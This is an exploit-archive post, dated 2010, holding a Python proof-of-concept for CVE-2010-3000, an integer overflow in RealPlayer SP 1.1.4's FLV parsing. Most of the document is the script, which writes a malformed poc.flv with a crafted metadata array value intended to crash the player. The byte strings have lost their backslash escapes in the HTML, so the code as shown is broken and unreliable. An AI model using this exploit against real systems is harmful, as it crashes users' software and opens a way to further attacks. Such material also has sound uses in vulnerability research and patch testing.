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[dos / poc] - RealPlayer FLV Parsing Integer Overflow

Posted on 12 September 2010

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RealPlayer FLV Parsing Integer Overflow
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RealPlayer FLV Parsing Integer Overflow
=======================================

Title    : RealPlayer FLV Parsing Multiple Integer Overflow
Version  : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor   : http://www.real.com
Impact   : High
Contact  : shahin [at] abysssec.com , info [at] abysssec.com
Twitter  : @abysssec
CVE      : CVE-2010-3000
&#039;&#039;&#039;
 
 
# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# http://www.exploit-db.com/sploits/moaub-13-exploit.zip
 
import sys
 
def main():
 
    flvHeader = &#039;x46x4Cx56x01x05x00x00x00x09&#039;
    flvBody1 = &#039;x00x00x00x00x12x00x00x15x00x00x00x00x00x00x00x02x00x0Ax6Fx6Ex4Dx65x74x61x44x61x74x61x08&#039;
    HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = &quot;x07x50x75x08&quot;   #  if value &gt;= 0x7507508   --&gt; crash
    flvBody2  = &quot;x00x00x09x00x00x00x20&quot;
     
    flv = open(&#039;poc.flv&#039;, &#039;wb+&#039;)
    flv.write(flvHeader)
    flv.write(flvBody1)
    flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
    flv.write(flvBody2)
     
    flv.close()
    print &#039;[-] FLV file generated&#039;
     
if __name__ == &#039;__main__&#039;:
    main()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-12]</pre></body></html>

 

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